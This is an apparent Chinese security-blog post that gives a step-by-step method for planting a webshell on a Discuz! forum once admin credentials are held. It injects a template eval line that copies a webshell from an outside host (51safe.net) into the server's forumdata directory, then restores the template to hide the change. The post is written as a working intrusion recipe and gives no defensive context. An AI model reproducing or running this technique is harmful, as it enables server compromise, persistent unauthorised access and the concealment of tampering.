Nov10th

Discuz! 后台拿webshell万能方法

freboys | 漏洞收集 | 评论:0 | 引用:0 | 浏览:

Discuz! 后台拿webshell万能方法:

前提条件:要拿到论坛管理员的密码,能够编辑模板文件

步骤:
1. 找一个空间上传一个wehsehll,注意这个webshell不要让服务器解析,一般使用txt文件就可以了。地址如:http://www.51safe.net/webshell.txt
2.随便选择一个模板(如:my),然后在任意位置输入:
 

PHP代码
  1. {eval copy('http://www.51safe.net/webshell.txt', DISCUZ_ROOT.'./forumdata/webshell.php');}   

3.保存,然后更新论坛缓存,更新模板缓存
4.访问该模板所属的php文件(如:my.php)
5.把模板修改成原始状态
这样一个webshell就生成了,地址是:http://论坛地址/forumdata/webshell.php
 

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。


关于本站 | 安全业务 | 联系我们 | 广告服务 | 友情链接 | 加入收藏夹

Copyright 2008-2010 无忧安全网 All rights reserved.Powered By Z-Blog

ICP备案编号:闽ICP备09054386号